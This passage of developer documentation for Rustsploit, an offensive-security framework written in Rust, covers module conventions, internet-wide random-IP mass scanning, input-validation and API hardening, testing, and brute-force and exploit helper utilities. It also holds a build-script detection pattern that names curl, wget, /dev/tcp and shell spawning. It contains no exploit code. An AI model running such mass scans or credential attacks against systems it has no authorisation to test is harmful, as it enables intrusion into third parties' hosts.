framework wrapper and pass the pre-connected stream:
|
||||
|
||||
```rust
|
||||
// FTP (suppaftp)
|
||||
let tcp = crate::utils::network::tcp_connect_str(&addr, timeout).await?;
|
||||
let ftp = AsyncFtpStream::connect_with_stream(tcp).await?;
|
||||
|
||||
// Telnet (telnet crate, blocking)
|
||||
let tcp = crate::utils::network::blocking_tcp_connect(&sa, timeout)?;
|
||||
let telnet = Telnet::from_stream(Box::new(tcp), 500);
|
||||
```
|
||||
|
||||
**Never use** `TcpStream::connect()`, `UdpSocket::bind("0.0.0.0:0")`, or
|
||||
library-level connect functions (`AsyncFtpStream::connect(addr)`,
|
||||
`Telnet::connect(addr)`) — they bypass source port binding.
|
||||
|
||||
---
|
||||
|
||||
## Target-Specific Filenames
|
||||
|
||||
When a module writes output files (results, configs, payloads), include the
|
||||
target in the filename to avoid clobbering under concurrent mass scan:
|
||||
|
||||
```rust
|
||||
let safe = target.replace(['/', ':', '.', '[', ']'], "_");
|
||||
let path = format!("results_{}.txt", safe);
|
||||
```
|
||||
|
||||
For temp directories, use per-invocation isolation:
|
||||
|
||||
```rust
|
||||
let work_dir = std::env::temp_dir().join(
|
||||
format!("rsploit_module_{:08x}", rand::rng().random::<u32>())
|
||||
);
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Batch Mode
|
||||
|
||||
When the framework dispatches a mass-scan target (`0.0.0.0`, `random`, CIDR, file, comma-separated), it enters **batch mode** and fans out N concurrent module invocations against single IPs. **Modules MUST gate interactive UI behind `is_batch_mode()`** or risk N concurrent menu prints flooding the terminal:
|
||||
|
||||
```rust
|
||||
use crate::context::is_batch_mode;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if !is_batch_mode() {
|
||||
crate::mprintln!("=== My Module ===");
|
||||
crate::mprintln!("[*] Loaded {} targets", n);
|
||||
}
|
||||
|
||||
// For menus that pick a target type (Single / Subnet / File),
|
||||
// short-circuit to "Single Target" — the framework already orchestrated targets.
|
||||
let mode = if is_batch_mode() {
|
||||
ModeChoice::SingleTarget
|
||||
} else {
|
||||
// print menu, read cfg_prompt_default("mode", ...), parse
|
||||
};
|
||||
|
||||
// For REPL-style modules, break out after one action in batch mode:
|
||||
let in_batch = is_batch_mode();
|
||||
loop {
|
||||
let cmd = cfg_prompt_default("cmd", "exec");
|
||||
do_one_action(&cmd).await?;
|
||||
if in_batch { break; }
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
The cached `cfg_prompt_default(...)` returns the same value every call, so a REPL loop reading prompts spins forever in batch mode unless you `break;` after one iteration. This was the v0.4.9 root cause for ~22 modules across two sweeps — see the changelog entry.
|
||||
|
||||
### Interactive REPLs and local-only modules
|
||||
|
||||
Modules with interactive REPLs (e.g. `h3c_websocket_dump`) or local-only
|
||||
functionality (e.g. `windows_dwm_cve_2026_20805`) should bail immediately
|
||||
in batch mode since they cannot operate meaningfully under fan-out:
|
||||
|
||||
```rust
|
||||
if crate::utils::is_batch_mode() {
|
||||
anyhow::bail!("Interactive REPL not supported in mass-scan mode.");
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Wordlists & Resources
|
||||
|
||||
Store bundled lists under `lists/` and document them in `lists/readme.md`. Reference paths relative to the working directory.
|
||||
|
||||
For canonical lists, prefer the checksum-pinned resolver `crate::utils::wordlist::resolve(name)` over shipping a copy: it downloads + SHA-256-verifies into `~/.rustsploit/wordlists/` on first use and reuses the cache after. As of the 2026-06-13 release the catalog is seeded with 6 curated SecLists entries (`passwords-top-1k`, `passwords-top-10k`, `usernames-short`, `web-common`, `web-raft-small-dirs`, `subdomains-top5k`); `wordlist::catalogue()` lists every name this build knows. See [`Utilities-Helpers.md`](Utilities-Helpers.md).
|
||||
|
||||
## Service / TLS Fingerprinting Helpers
|
||||
|
||||
Two shared fingerprinting surfaces are available to scanner modules (added 2026-06-13):
|
||||
|
||||
- **`crate::utils::recog`** — a Rapid7-Recog-style banner matcher. Feed it a banner (SSH/FTP/SMTP/MySQL/HTTP `Server:` header) and it returns structured fields (`service.product` / `.version` / `.vendor`, `os.product`, `service.cpe23`). `scanners/service_scanner` already uses it to enrich detected versions with a product/version + CPE; new banner-reading scanners should reuse it rather than hand-rolling regex.
|
||||
- **`crate::utils::tls_fingerprint`** — JARM (canonical 62-char hash), JA3, and JA3S over a raw `TcpStream`. The reference consumer is `scanners/jarm_scan`. Parsing is fully bounds-checked and degrades to the all-zero JARM hash on a down host / TLS alert / truncated response.
|
||||
|
||||
## Per-Run Output Auto-Save
|
||||
|
||||
Console / CLI module runs auto-append all of their output (stdout + stderr, captured through the `mprintln!` / `meprintln!` routing) to `~/.rustsploit/loot/<module> <YYYY-MM-DD_HH-MM-SS> results.txt` via `src/results_sink.rs` (append mode, begun/ended per run in `commands::run_module`). You do not need to add your own "save results to file" logic for this — append mode also means a multi-host mass scan accumulates into one run file instead of racing to overwrite. API / MCP runs return their output to the caller via `OUTPUT_BUFFER` and are not duplicated to disk.
|
||||
|
||||
---
|
||||
|
||||
## Framework-Level Multi-Target Dispatch
|
||||
|
||||
`commands::run_module` resolves the requested name through `module::find` and hands the
|
||||
boxed `Module` + parsed `Target` to `scheduler::run`. The scheduler is the only place
|
||||
that knows how to fan a target out — module bodies always see `Target::Single`.
|
||||
|
||||
Supported target shapes (parsed by `Target::parse`):
|
||||
|
||||
- **Single host**: `10.0.0.1`, `example.com`, `[2001:db8::1]:80` → `Target::Single`.
|
||||
- **Comma-separated list**: `192.168.1.1,192.168.1.2,10.0.0.1` → `Target::Multi`. Capped
|
||||
at 4 096 entries; each entry recursively re-parses (so a list of CIDRs is allowed).
|
||||
- **CIDR subnet**: `192.168.1.0/24` → `Target::Cidr`. Refuses IPv6 ranges wider than
|
||||
`ipv6_max_hosts` (default 2³² hosts) and prompts above `warn_threshold` (default 65 536).
|
||||
- **File-based target list**: any path that resolves to an existing file → `Target::File`.
|
||||
Blank/comment lines are skipped at fan-out time.
|
||||
- **Random mass scan**: `0.0.0.0`, `0.0.0.0/0`, or `random` → `Target::Random`. Capped
|
||||
at `max_random_hosts` (default 10 000) and skips ranges in `crate::exclusions::ExclusionSet`.
|
||||
|
||||
Every shape goes through the same `pre_check` → fan-out → `route_findings` → `cleanup`
|
||||
pipeline (see _Lifecycle Hooks_). A module that handles a single host correctly
|
||||
inherits subnet, list, file, and `0.0.0.0/0` scanning for free.
|
||||
|
||||
---
|
||||
|
||||
## 0.0.0.0/0 Internet-Wide Scanning
|
||||
|
||||
`Target::Random` (parsed from `0.0.0.0`, `0.0.0.0/0`, or `random`) fans out random
|
||||
public IPs through `scheduler::fanout_random`, capped at `SchedulerLimits::max_random_hosts`.
|
||||
The scheduler skips addresses that match `crate::exclusions::ExclusionSet` — by
|
||||
default this covers bogons, RFC 1918, reserved/documentation ranges, and the public
|
||||
DNS providers. The set is built from the active tenant's `global_options` via
|
||||
`crate::exclusions::shared()`; operators add or remove ranges through `set` /
|
||||
`setg` keys (or an exclusion file) without touching module code.
|
||||
|
||||
Modules do **not** roll their own random-IP loops or `EXCLUDED_RANGES` constants —
|
||||
the historical `utils::bruteforce::run_mass_scan` + per-module `MassScanConfig`
|
||||
pattern was removed in v0.5.1. Honeypot detection is suppressed in mass-scan mode
|
||||
because the per-host probe would itself be the slow path.
|
||||
|
||||
---
|
||||
|
||||
## Current Cleanup Work
|
||||
|
||||
Active workstreams (snapshot — see `docs/Legacy.md` for the running ledger):
|
||||
|
||||
- **Native body migration.** Every module is registered through `register_native_module!`
|
||||
but most still use the legacy `pub async fn run(target: &str)` shape behind the macro.
|
||||
Bodies are being ported one file at a time to `pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome>` so findings flow into LootStore / Workspace / events
|
||||
instead of stdout. Migration recipe is in _Migrating from legacy to native_ above.
|
||||
- **Compiler warning sweep.** `cargo build` currently surfaces ~84 warnings — mostly
|
||||
unused imports left behind by mid-migration scanner / exploit modules
|
||||
(`FindingKind`, `Finding`, `cfg_prompt_*` helpers, leftover mass-scan constants
|
||||
like `EXCLUDED_RANGES`, `generate_random_public_ip`, `MASS_SCAN_CONCURRENCY`,
|
||||
`DEFAULT_TIMEOUT_SECS`, `COMMON_TELNET_PORTS`). Fix the underlying cause (delete
|
||||
the leftover code or wire it in) — do not paper over with `#[allow(dead_code)]`,
|
||||
`#[allow(unused_imports)]`, `let _ = ...`, or `_var` renames. The grep policy is
|
||||
zero suppression attributes in `src/`.
|
||||
- **Bad error-handling patterns.** `grep -rn 'map_err(|e| anyhow!('` and
|
||||
`grep -rn 'let _ ='` periodically — both usually hide a real propagation path.
|
||||
Prefer `.with_context(|| "...")?` over re-wrapping with `anyhow!`, and replace
|
||||
`let _ = ...` with the explicit `if let Err(e) = ... { tracing::warn!(...); }`
|
||||
pattern when the failure really is recoverable.
|
||||
- **Wordlist consolidation.** Module-level `WORDLIST.lines()` / `include_str!` blocks
|
||||
are being moved into `crate::utils::wordlist` so every brute-forcer reads through
|
||||
the same loader (with caching, size caps, and the `--strict-wordlist` toggle). The
|
||||
checksum-pinned catalog is now seeded with 6 SecLists entries (2026-06-13) — new
|
||||
brute-forcers should `wordlist::resolve(name)` a catalog list rather than embed one.
|
||||
- **Helper consolidation.** TLS helpers in `src/native/async_tls.rs`,
|
||||
`read_async_capped` / `DEFAULT_BODY_CAP` in `src/utils/network.rs`, and the
|
||||
`cancellation_token()` accessor in `src/context.rs` are the canonical entry
|
||||
points. Modules (notably `http2_rapid_reset`, `sshpwn_session`, the DoS family)
|
||||
are being migrated off of their per-module reimplementations.
|
||||
- **New scanner / OSINT modules** added recently — `cors_reflection_scanner`,
|
||||
`security_headers_scanner`, `csp_audit_scanner`, `subdomain_takeover_scanner`,
|
||||
`source_map_scanner`, `wellknown_scanner`, `wp_xmlrpc_scanner`, `wp_user_enum`,
|
||||
`s3_bucket_scanner`, `m365_userenum_scanner`, plus `osint/cname_chain` and
|
||||
`osint/jwks_inspector`. They auto-appear in `--list-modules` and the catalog;
|
||||
follow-up bug fixes are tracked under the per-module sections of
|
||||
`docs/Changelog.md`.
|
||||
- **External bug-bounty corpus.** `_analysis/` carries the cross-program findings
|
||||
index used to drive new module work (which probes earned findings, which vector
|
||||
classes are still untested). It is the source of truth for "where should the next
|
||||
scanner live"; do not edit historical reports under `_analysis/`, append a new
|
||||
finding instead.
|
||||
- **Open audit findings (medium / low).** Tenant cache eviction (M2),
|
||||
`std::sync::RwLock` on the tokio path (M3), and the L1–L4 path-validation
|
||||
cleanups remain. P0 items (PQ rekey deadlock, SSRF bypass) are tracked in
|
||||
`docs/Legacy.md` § _Out of scope_ and live on a separate hardening workstream.
|
||||
@@ -0,0 +1,273 @@
|
||||
# Security & Input Validation
|
||||
|
||||
Rustsploit implements defence-in-depth throughout the codebase. All contributors must follow these patterns when writing modules or modifying core code.
|
||||
|
||||
---
|
||||
|
||||
## Validation Constants
|
||||
|
||||
| File | Constant | Value | Purpose |
|
||||
|------|----------|-------|---------|
|
||||
| `shell.rs` | `MAX_INPUT_LENGTH` | 4096 | Maximum shell input length |
|
||||
| `sanitize.rs` | `MAX_TARGET_LENGTH` | 2048 | Maximum target string length |
|
||||
| `shell.rs` | `MAX_URL_LENGTH` | 2048 | Maximum URL length |
|
||||
| `shell.rs` | `MAX_PATH_LENGTH` | 4096 | Maximum file path length |
|
||||
| `utils.rs` | `MAX_FILE_SIZE` | 10 MB | Maximum file size to read |
|
||||
| `config.rs` | `MAX_HOSTNAME_LENGTH` | 253 | DNS hostname limit |
|
||||
| `api.rs` | `MAX_REQUEST_BODY_SIZE` | 1 MB | API request body limit |
|
||||
| `api.rs` | `MAX_TRACKED_IPS` | 100,000 | IP tracker limit |
|
||||
|
||||
---
|
||||
|
||||
## Security Patterns
|
||||
|
||||
### 1. Input Length Validation
|
||||
|
||||
```rust
|
||||
if input.len() > MAX_INPUT_LENGTH {
|
||||
return Err(anyhow!("Input too long (max {} characters)", MAX_INPUT_LENGTH));
|
||||
}
|
||||
```
|
||||
|
||||
### 2. Input Sanitization
|
||||
|
||||
The `sanitize_string_input()` function performs multiple layers of cleaning:
|
||||
|
||||
1. **Null byte removal** -- inputs containing `\0` are rejected outright
|
||||
2. **Control character filtering** -- all control characters (except `\t`) are stripped from the input
|
||||
3. **Length enforcement** -- inputs exceeding `MAX_COMMAND_LENGTH` are rejected
|
||||
|
||||
```rust
|
||||
// Reject null bytes, then filter control characters (except tab)
|
||||
let sanitized: String = input.chars()
|
||||
.filter(|c| !c.is_control() || *c == '\t')
|
||||
.collect();
|
||||
```
|
||||
|
||||
For command-specific validation (`validate_command_input`), null bytes are stripped and length is enforced against `MAX_COMMAND_LENGTH`.
|
||||
|
||||
If suspicious patterns (`bash`, `sudo`, `../`) are detected, a warning is printed but the string is still returned unmodified:
|
||||
|
||||
```
|
||||
[!] Input contains shell/path patterns. Treated as literal text string.
|
||||
```
|
||||
|
||||
### 3. Path Traversal Prevention
|
||||
|
||||
```rust
|
||||
if input.contains("..") || input.contains("//") {
|
||||
return Err(anyhow!("Path traversal detected"));
|
||||
}
|
||||
```
|
||||
|
||||
### 4. Target / Hostname Validation
|
||||
|
||||
Always use the framework's `normalize_target` function:
|
||||
|
||||
```rust
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
let normalized = normalize_target(raw_target)?;
|
||||
// Handles IPv4, IPv6, hostnames, URLs, CIDR with full validation
|
||||
```
|
||||
|
||||
For custom character validation:
|
||||
```rust
|
||||
use regex::Regex;
|
||||
let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
|
||||
if !valid_chars.is_match(target) {
|
||||
return Err(anyhow!("Invalid characters in target"));
|
||||
}
|
||||
```
|
||||
|
||||
### 5. Overflow Protection
|
||||
|
||||
```rust
|
||||
// Use saturating_add to prevent integer overflow
|
||||
counter = counter.saturating_add(1);
|
||||
```
|
||||
|
||||
### 6. Prompt Attempt Limiting
|
||||
|
||||
```rust
|
||||
const MAX_ATTEMPTS: u8 = 10;
|
||||
let mut attempts = 0u8;
|
||||
loop {
|
||||
attempts += 1;
|
||||
if attempts > MAX_ATTEMPTS {
|
||||
println!("Too many invalid attempts. Using default.");
|
||||
return Ok(default);
|
||||
}
|
||||
// prompt logic
|
||||
}
|
||||
```
|
||||
|
||||
### 7. File Operations
|
||||
|
||||
When reading files:
|
||||
1. Validate path does not contain `..`
|
||||
2. Use `canonicalize()` to resolve the real path
|
||||
3. Check file size before reading (ref: `MAX_FILE_SIZE`)
|
||||
4. Skip symlinks for security
|
||||
|
||||
---
|
||||
|
||||
## API Security
|
||||
|
||||
The API server (`api.rs`) implements:
|
||||
|
||||
- **PQ-only transport.** All `/api/*` traffic is encrypted with the post-quantum hybrid (ML-KEM-768 + X25519 → ChaCha20-Poly1305 AEAD with a Double Ratchet). No TLS — the PQ channel IS the transport.
|
||||
- **Per-(server, client) HKDF salts.** As of v0.4.9, salts are NOT hardcoded protocol constants. They're derived at handshake time via `derive_salt(label, server_pubs, client_pubs, identity_dh)` — the `identity_dh` input requires possession of one identity private key to compute, so a passive observer who sees the four public keys still cannot reconstruct the salt. Different (server, client) pairs derive different salt domains; key material from one session never leaks into another.
|
||||
- **SSH-style allowlist.** A client's identity public key MUST appear in `~/.rustsploit/pq_authorized_keys` for the handshake to succeed (`pq_channel.rs::process_handshake`).
|
||||
- **Token-bound enrollment.** `POST /pq/register-key` is the only network path that can add a new entry to the allowlist. The token is generated fresh at every `--api` startup (24 random bytes, URL-safe base64), printed to the console once, held only in memory, compared in constant time, and zeroized on first successful use. Subsequent key changes require the established PQ session.
|
||||
- **Bind-address-agnostic safety.** `--interface` accepts any address (including `0.0.0.0`). Safety doesn't come from refusing public binds — it comes from the token gating the allowlist. There is no `--insecure-bind` escape hatch.
|
||||
- **`RequestBodyLimitLayer`** — prevents DoS via oversized payloads (1 MB max).
|
||||
- **Handshake rate limiting** — `HANDSHAKE_RATE_MAX_PER_IP` (10 / 60s) on `/pq/handshake` and `/pq/register-key`. Auto-cleanup of stale entries every 5 min.
|
||||
- **WebSocket limits** — max 100 concurrent connections, 1 MiB frame cap, 30s heartbeat.
|
||||
- **Per-session mutex on the server** — `SessionStore` is `RwLock<HashMap<_, Arc<Mutex<PqSession>>>>` so the global map lock isn't held across the inner handler. Different tenants don't serialize through one lock.
|
||||
- **AAD covers everything.** Every encrypted message authenticates `method | path?query | epoch | session_id` (request) or `status | epoch | session_id` (response). The AAD is built using the post-ratchet epoch on both sides so rekey transitions don't break verification.
|
||||
|
||||
---
|
||||
|
||||
## MCP Server Security
|
||||
|
||||
The MCP server (`mcp/server.rs`) implements:
|
||||
|
||||
- **`isolate_protocol_stdout()`** — redirects fd 1 to /dev/null so module `println!` cannot corrupt the JSON-RPC stream
|
||||
- **`MAX_LINE_BYTES`** — 1 MiB cap on incoming lines to prevent memory exhaustion
|
||||
- **Binary-safe reads** — uses `read_until()` instead of `read_line()` for no UTF-8 requirement
|
||||
- **Non-UTF-8 error handling** — returns proper JSON-RPC error responses for malformed input
|
||||
|
||||
---
|
||||
|
||||
## Spool Security
|
||||
|
||||
The spool system (`spool.rs`) implements:
|
||||
|
||||
- **`O_NOFOLLOW`** — prevents TOCTOU race conditions on symlinked spool files
|
||||
- **Parent symlink check** — rejects spool paths with symlinked parent directories
|
||||
- **Lock-first pattern** — acquires write lock before creating files to prevent orphaned files
|
||||
- **`write_line()` returns `Result`** — callers handle write failures instead of silently dropping output
|
||||
|
||||
---
|
||||
|
||||
## Privilege Checks
|
||||
|
||||
Modules requiring raw sockets call `require_root()` at startup:
|
||||
|
||||
```rust
|
||||
use crate::utils::privilege::require_root;
|
||||
require_root("ICMP raw socket")?;
|
||||
```
|
||||
|
||||
Returns a descriptive error with the current euid instead of a cryptic "permission denied" from the socket layer. Used by DoS modules, ping sweep, and raw packet scanners.
|
||||
|
||||
---
|
||||
|
||||
## Honeypot Detection
|
||||
|
||||
The framework automatically runs `basic_honeypot_check` before any module execution when a target is set.
|
||||
|
||||
- Scans **200 common ports** with a 250 ms timeout each
|
||||
- If **11 or more** ports respond, warns that the target is likely a honeypot
|
||||
- Runs automatically in the shell's `run` and `run_all` commands
|
||||
- Can be called manually from module code:
|
||||
|
||||
```rust
|
||||
use crate::utils::basic_honeypot_check;
|
||||
basic_honeypot_check(&ip).await;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## IP Exclusion Ranges (`crate::exclusions::ExclusionSet`)
|
||||
|
||||
IP exclusions are handled by `crate::exclusions::shared()` (v0.5.2+), a
|
||||
per-tenant pluggable exclusion set. **Modules do NOT implement their own
|
||||
`EXCLUDED_RANGES` constants** — the scheduler enforces exclusions during
|
||||
random fan-out.
|
||||
|
||||
Default exclusions (applied when `setg exclusions ""` or not set):
|
||||
|
||||
| CIDR | Category |
|
||||
|------|----------|
|
||||
| `10.0.0.0/8` | Private |
|
||||
| `127.0.0.0/8` | Loopback |
|
||||
| `172.16.0.0/12` | Private |
|
||||
| `192.168.0.0/16` | Private |
|
||||
| `224.0.0.0/4` | Multicast |
|
||||
| `240.0.0.0/4` | Reserved |
|
||||
| `0.0.0.0/8` | This network |
|
||||
| `100.64.0.0/10` | Carrier-grade NAT |
|
||||
| `169.254.0.0/16` | Link-local |
|
||||
| `198.18.0.0/15` | Benchmarking |
|
||||
| `198.51.100.0/24` | Documentation |
|
||||
| `203.0.113.0/24` | Documentation |
|
||||
| `255.255.255.255/32` | Broadcast |
|
||||
| Public DNS | 1.1.1.1, 8.8.8.8, etc. |
|
||||
|
||||
### Configuration via `setg`
|
||||
|
||||
```text
|
||||
setg exclusions "" # defaults (above)
|
||||
setg exclusions internal # no filtering (pentesting internal networks)
|
||||
setg exclusions none # no filtering
|
||||
setg exclusions 10.0.0.0/8,172.16.0.0/12 # defaults + extra CIDRs
|
||||
setg exclusions @/path/to/file # defaults + CIDRs from file (one per line)
|
||||
```
|
||||
|
||||
Uses the `ipnetwork` crate for proper CIDR matching.
|
||||
|
||||
---
|
||||
|
||||
## Persistent Storage Security
|
||||
|
||||
All persistent data uses atomic write-to-temp-then-rename to prevent corruption:
|
||||
|
||||
| File | Purpose | Sensitivity |
|
||||
|------|---------|-------------|
|
||||
| `~/.rustsploit/global_options.json` | Global options (setg) | Low — user preferences |
|
||||
| `~/.rustsploit/creds.json` | Discovered credentials | **High — contains passwords/hashes** |
|
||||
| `~/.rustsploit/workspaces/<name>.json` | Hosts, services, notes | Medium — engagement data |
|
||||
| `~/.rustsploit/loot_index.json` | Loot metadata | Medium |
|
||||
| `~/.rustsploit/loot/` | Loot files | **High — may contain sensitive data** |
|
||||
| `~/.rustsploit/results/` | Module output files | Medium |
|
||||
| `~/.rustsploit/history.txt` | Shell command history | Medium |
|
||||
| `~/.rustsploit/pq_host_key` | Server X25519 + ML-KEM-768 long-term private keys | **Critical — file mode 0600 enforced** |
|
||||
| `~/.rustsploit/pq_authorized_keys` | SSH-style allowlist of client identity public keys (one JSON per line) | High — file mode 0600 enforced; symlink-safe writes |
|
||||
| `~/.rustsploit/wordlists/` | Pinned wordlist cache (mode 0700) | Low |
|
||||
|
||||
**Important:** The `creds.json` and `loot/` files may contain sensitive data. Protect `~/.rustsploit/` with appropriate file permissions (e.g., `chmod 700`).
|
||||
|
||||
---
|
||||
|
||||
## Panic-free guarantee (v0.4.9+)
|
||||
|
||||
The Rust source tree (`src/`) contains zero panicking patterns. CI policy:
|
||||
|
||||
```bash
|
||||
grep -rnE "\.unwrap\(\)|\.expect\(|panic!\(|unreachable!\(|unimplemented!\(|todo!\(" src/
|
||||
# Must return zero matches.
|
||||
```
|
||||
|
||||
This applies to module code as well — historical `.expect("slice of length N was checked")` patterns are converted to `try_into().map_err(|_| anyhow!(...))?` even when the invariant truly held, so a future reader doesn't need to verify by hand. The `_or(default)` / `_or_default()` / `_or_else(|| ...)` family is fine — those provide values, not panics.
|
||||
|
||||
---
|
||||
|
||||
## Supply-chain (v0.4.9 audit)
|
||||
|
||||
Scope: 393 unique crates / 427 locked package versions.
|
||||
|
||||
| Check | Result |
|
||||
|-------|--------|
|
||||
| `cargo audit` (RUSTSEC active vulns) | 0 |
|
||||
| Cross-ref vs. `categories=["malicious"]` advisories | 0 hits |
|
||||
| Non-crates.io sources (git / path / alt registry) | 0 |
|
||||
| Locked checksums present | 427 / 427 |
|
||||
| `build.rs` scripts grep'd for `TcpStream` / `reqwest` / `curl` / `wget` / `/dev/tcp` / `base64::decode` / `exec` / `eval` / `spawn sh` | 0 hits across 35 build scripts |
|
||||
|
||||
**Hygiene notes** (informational):
|
||||
|
||||
- `rustls-pemfile` 2.2.0 unmaintained (RUSTSEC-2025-0134) — rustls upstream recommends `rustls-pki-types::pem`; tracked for migration.
|
||||
- 7 pre-release crypto deps locked (`aead`/`aes-gcm`/`chacha20poly1305`/`poly1305` -rc, `ml-kem` -rc, `hickory-*` -alpha) — all from trusted orgs (RustCrypto, hickory-dns); re-pin to stable when each lands.
|
||||
- `time` is overridden at `Cargo.toml:133` to `>=0.3.47` to absorb RUSTSEC-2026-0009 from the transitive cookie store.
|
||||
@@ -0,0 +1,164 @@
|
||||
# Testing & QA
|
||||
|
||||
Guidelines for verifying that new modules and framework changes are correct.
|
||||
|
||||
---
|
||||
|
||||
## Static Checks
|
||||
|
||||
Run before every commit or PR:
|
||||
|
||||
```bash
|
||||
# Format code
|
||||
cargo fmt
|
||||
|
||||
# Lint (use where available)
|
||||
cargo clippy
|
||||
|
||||
# Compile check (fast, no linking)
|
||||
cargo check
|
||||
```
|
||||
|
||||
A clean `cargo check` with **0 errors** is required. The current codebase (363 modules) compiles with legacy warnings from mid-migration modules — see the Changelog for the running count.
|
||||
|
||||
---
|
||||
|
||||
## Build Verification
|
||||
|
||||
```bash
|
||||
cargo build
|
||||
```
|
||||
|
||||
Modules self-register via `register_native_module!` at compile time using
|
||||
the `inventory` crate — there is no `build.rs` codegen (removed in v0.5.6).
|
||||
All 363 modules are auto-discovered at link time. If a new module fails to
|
||||
register, ensure `pub mod your_module;` is present in the sibling `mod.rs`.
|
||||
|
||||
---
|
||||
|
||||
## Runtime Smoke Tests
|
||||
|
||||
### Shell
|
||||
```bash
|
||||
cargo run
|
||||
# Inside the shell:
|
||||
modules # Verify new module appears in list
|
||||
find <keyword> # Verify keyword search works
|
||||
u scanners/sample_scanner
|
||||
set target 127.0.0.1
|
||||
go # Runs the sample scanner against localhost
|
||||
```
|
||||
|
||||
### CLI
|
||||
```bash
|
||||
cargo run -- -m scanners/sample_scanner -t 127.0.0.1
|
||||
cargo run -- --list-modules # Verify your module is listed
|
||||
```
|
||||
|
||||
### API
|
||||
```bash
|
||||
# Start the server
|
||||
cargo run -- --api
|
||||
|
||||
# Verify server starts (module listing requires PQ WebSocket session)
|
||||
curl http://localhost:8080/health
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Unit Tests
|
||||
|
||||
Run all unit tests:
|
||||
```bash
|
||||
cargo test
|
||||
```
|
||||
|
||||
Module-level tests can be added inline:
|
||||
|
||||
```rust
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn test_parse_response() {
|
||||
let output = parse_response(b"some payload");
|
||||
assert!(output.is_some());
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
For async tests:
|
||||
```rust
|
||||
#[tokio::test]
|
||||
async fn test_async_behavior() {
|
||||
// ...
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Wordlist Validation
|
||||
|
||||
Before adding a module that depends on wordlists:
|
||||
1. Confirm the file exists under `lists/`
|
||||
2. Reference the path in docstrings or `lists/readme.md`
|
||||
3. Validate it is non-empty at runtime and handle the empty case gracefully
|
||||
|
||||
---
|
||||
|
||||
## Framework Feature Smoke Tests
|
||||
|
||||
After modifying framework features, verify these work:
|
||||
|
||||
```bash
|
||||
# Shell smoke test
|
||||
cargo run
|
||||
# Inside shell:
|
||||
info exploits/sample_exploit # Should display module metadata
|
||||
setg port 8080 # Set global option
|
||||
show options # Should show port=8080
|
||||
unsetg port # Remove it
|
||||
creds # Should show empty cred store
|
||||
hosts # Should show empty host list
|
||||
workspace # Should show "default" workspace
|
||||
loot # Should show empty loot
|
||||
jobs # Should show no jobs
|
||||
spool /tmp/test.log # Start console logging
|
||||
spool off # Stop logging
|
||||
export json /tmp/test.json # Should create JSON file
|
||||
```
|
||||
|
||||
```bash
|
||||
# API smoke test — verify server starts and health endpoint responds
|
||||
cargo run -- --api
|
||||
curl http://localhost:8080/health
|
||||
# All other endpoints require a PQ WebSocket session — see API-Server.md
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Regression Notes
|
||||
|
||||
| Area | What to verify |
|
||||
|------|----------------|
|
||||
| New cred module | Correct concurrency model, DNS resolved once (not per attempt) |
|
||||
| New exploit | Response validated before declaring success, artifacts written to CWD |
|
||||
| New scanner | Outputs parseable results, status codes filtered correctly |
|
||||
| Mass-scan module | Scheduler exclusions applied, no per-module `EXCLUDED_RANGES`, target-specific filenames |
|
||||
| API change | `cargo check` clean, endpoint documented in [API Server](API-Server.md) |
|
||||
| Utils change | All prompt helpers still compile, no dead code warnings |
|
||||
| Module with `info()` | `info` command displays metadata |
|
||||
| Source port | Connections use `tcp_connect_str`/`udp_bind`, not raw socket calls |
|
||||
| Batch mode | Interactive/REPL modules bail with `is_batch_mode()` guard |
|
||||
| Global options change | JSON file updated atomically, `cfg_prompt_*` respects priority chain |
|
||||
| Workspace change | JSON saved on modification, workspace switch preserves data |
|
||||
| Cred store change | JSON persistence works, search returns correct results |
|
||||
|
||||
---
|
||||
|
||||
## Known Disabled / Stubbed Code
|
||||
|
||||
| Module | Status | Reason |
|
||||
|--------|--------|--------|
|
||||
| `scanners/dns_recursion` | ✅ Fixed | Rewritten for hickory-client v0.25 (`AsyncClient` → `Client`, builder pattern + `TokioRuntimeProvider`) |
|
||||
@@ -0,0 +1,987 @@
|
||||
# Utilities & Helpers
|
||||
|
||||
Rustsploit provides several utility modules that every module developer should know:
|
||||
|
||||
| Module | Import Path | Purpose |
|
||||
|--------|-------------|---------|
|
||||
| **Core Utils** | `crate::utils` | Target normalization, file loading, config-aware prompts, input validation |
|
||||
| **Network Utils** | `crate::utils::network` | HTTP client builders (cached, pooled), TCP/UDP connect helpers, honeypot check |
|
||||
| **Recog** | `crate::utils::recog` | Rapid7-Recog banner matcher — resolves a banner to structured `service.product`/`.version`/`.cpe23`, `os.product` (used by `service_scanner`) |
|
||||
| **TLS Fingerprint** | `crate::utils::tls_fingerprint` | JARM (62-char hash), JA3, JA3S over a raw `TcpStream` (used by `jarm_scan`) |
|
||||
| **Wordlist** | `crate::utils::wordlist` | Checksum-pinned `resolve(name)` (SecLists catalog) + streaming `BatchedReader` |
|
||||
| **Privilege Utils** | `crate::utils::privilege` | Root privilege check for raw-socket modules |
|
||||
| **Creds Helper** | `crate::utils::creds_helper` | Single-target credential brute-force harness (prompt, engine, loot, findings) |
|
||||
| **Exploit Helper** | `crate::utils::exploit_helper` | HTTP probe helpers for single-target CVE exploit modules |
|
||||
| **Creds Utils** | `crate::modules::creds::utils` | Bruteforce statistics, subnet helpers, IP exclusion, scan state tracking |
|
||||
| **Config** | `crate::config` | Global target state, module config, API prompt keys, results directory |
|
||||
| **Global Options** | `crate::global_options` | Persistent `setg` options — checked by `cfg_prompt_*` after custom_prompts |
|
||||
| **Cred Store** | `crate::cred_store` | Store/query discovered credentials. Call `store_credential()` from modules |
|
||||
| **Workspace** | `crate::workspace` | Track hosts/services. Call `track_host()` / `track_service()` from modules |
|
||||
| **Loot** | `crate::loot` | Store collected evidence. Call `store_loot()` from modules |
|
||||
